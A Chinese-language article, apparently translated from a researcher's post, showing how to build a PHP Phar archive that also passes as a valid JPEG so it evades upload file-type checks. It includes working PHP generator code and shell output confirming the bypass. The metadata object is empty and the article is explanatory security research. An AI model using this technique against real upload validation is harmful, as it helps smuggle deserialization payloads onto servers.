您好,登錄后才能下訂單哦!
小編給大家分享一下將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
在US BlackHat 2018大會(huì)上,安全人員證明,攻擊者不僅可以利用PHAR包發(fā)動(dòng)RCE攻擊,而且,通過(guò)調(diào)整其二進(jìn)制內(nèi)容,他們還可以將其偽裝成一幅圖像,從而繞過(guò)安全檢查。
在本文中,我們來(lái)看看第二點(diǎn)是如何做到的。
背景知識(shí)
在US BlackHat 2018大會(huì)期間,Sam Thomas召開了一個(gè)關(guān)于在PHP中利用 phar:// 流包裝器來(lái)實(shí)現(xiàn)針對(duì)服務(wù)器的代碼執(zhí)行攻擊的研討會(huì)( 幻燈片 )。
在運(yùn)行PHAR包時(shí),由于PHP會(huì)對(duì)其內(nèi)容進(jìn)行反序列化,從而允許攻擊者啟動(dòng)一個(gè)PHP對(duì)象包含鏈。其中,最有趣的部分在于如何觸發(fā)有效載荷:歸檔上的任何文件操作都將執(zhí)行它。最后,攻擊者根本無(wú)需關(guān)心文件名是否正確,因?yàn)榧词故鞘〉奈募{(diào)用,PHP也會(huì)對(duì)其內(nèi)容進(jìn)行反序列化處理。
此外,攻擊者完全可以將PHAR包偽裝成一幅圖像:在這篇文章中,我們將為讀者解釋他們是如何做到這一點(diǎn)的。
降至字節(jié)碼級(jí)別
有時(shí)我們會(huì)忘記這一點(diǎn),那就是在機(jī)器眼里,文件只不過(guò)是一堆遵循預(yù)定義結(jié)構(gòu)的字節(jié)而已。對(duì)于應(yīng)用程序而言,將檢查自己是否可以管理這樣的數(shù)據(jù)流,如果可以的話,就會(huì)生成相應(yīng)的輸出。
在Thomas的演講中,曾提示如何創(chuàng)建具有有效JPEG頭部的PHAR包。
圖片引自Sam Thomas的幻燈片
不過(guò),這里我們要做的是創(chuàng)建一個(gè)具有JPEG頭部的文件,并更新PHAR的校驗(yàn)和。這樣一來(lái),PHAR包一方面會(huì)被視為一個(gè)圖像,同時(shí),PHP還可以繼續(xù)執(zhí)行它。
開始下手
聽起來(lái),這里只需修改幾個(gè)字節(jié)并更新校驗(yàn),按說(shuō)應(yīng)該非常輕松,對(duì)吧?
然而,事實(shí)并非如此。
計(jì)算校驗(yàn)和(至少對(duì)我來(lái)說(shuō))是一件讓人頭痛的事情。所以,我想:如果讓PHP來(lái)代勞的話,會(huì)怎樣呢?
所以,我對(duì)Thomas的原始劇本進(jìn)行了一番改造,具體如下所示:
<?php class TestObject {} $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
如您所見,這里將原始HEX字節(jié)添加到了PHAR存檔的存根部分。下面是原始HEX得到的結(jié)果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_ 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>.. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L............... 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}.... 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[ 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~.......... 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
這同時(shí)是一個(gè)合法的PHAR包,以及一幅合法的JPEG圖像嗎?
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true)
看到了吧,PHP將其視為一幅圖像,我們?nèi)匀豢梢蕴剿鞔鏅n的內(nèi)容。哈哈,好玩吧!
注意:請(qǐng)仔細(xì)查看存根部分,看看它是如何“跳過(guò)”開頭部分的PHP標(biāo)記的。因?yàn)檫@里是繞過(guò)大多數(shù)內(nèi)容掃描程序的關(guān)鍵所在。對(duì)于存檔來(lái)說(shuō),是否有效的關(guān)鍵在于函數(shù) __HALT_COMPILER() ; 我認(rèn)為,PHP會(huì)通過(guò)它來(lái)確定出應(yīng)該“跳過(guò)”多少數(shù)據(jù)。
更進(jìn)一步
到目前為止,我們制作的文件已經(jīng)可以通過(guò)任何基于文件頭的類型檢測(cè)了,但是,對(duì)于更高級(jí)的檢測(cè)方法來(lái)說(shuō),它就無(wú)能為力了。例如,使用 getimagesize 來(lái)檢查文件內(nèi)容是否為圖像的話,將返回false,因?yàn)樗⒉皇且环罢嬲钡膱D像:
tampe125@AlphaCentauri:~$ php -a php > var_dump(getimagesize('phar.jpeg')); php shell code:1: bool(false)
看到了吧。
但是,別忘了,我們可以在 __HALT_COMPILER() 標(biāo)記之前填充任意的數(shù)據(jù)的,所以,如果我們?cè)诖颂钊胍环暾膱D像的話,會(huì)怎樣呢?于是,我花了大量的時(shí)間去研讀 JPEG規(guī)范 和 PHP源代碼 ,不過(guò)最后仍然沒有理出頭緒,所以,我果斷決定放棄——太復(fù)雜了。
那么,能否直接使用GIMP創(chuàng)建10x10黑色圖像并嵌入其中呢?
<?php class TestObject {} $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
好了,看看效果如何:
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3 tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true) php > var_dump(getimagesize('phar.jpeg')); php shell code:1: array(7) { [0] => int(10) [1] => int(10) [2] => int(2) [3] => string(22) "width="10" height="10"" 'bits' => int(8) 'channels' => int(3) 'mime' => string(10) "image/jpeg" }
這次,我們?nèi)缭敢詢斄?。這個(gè)文件不僅是一個(gè)包含我們想要利用的類的PHAR包,同時(shí),它還是一幅合法的圖像(我們甚至可以用系統(tǒng)圖像查看器打開它):
看完了這篇文章,相信你對(duì)“將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。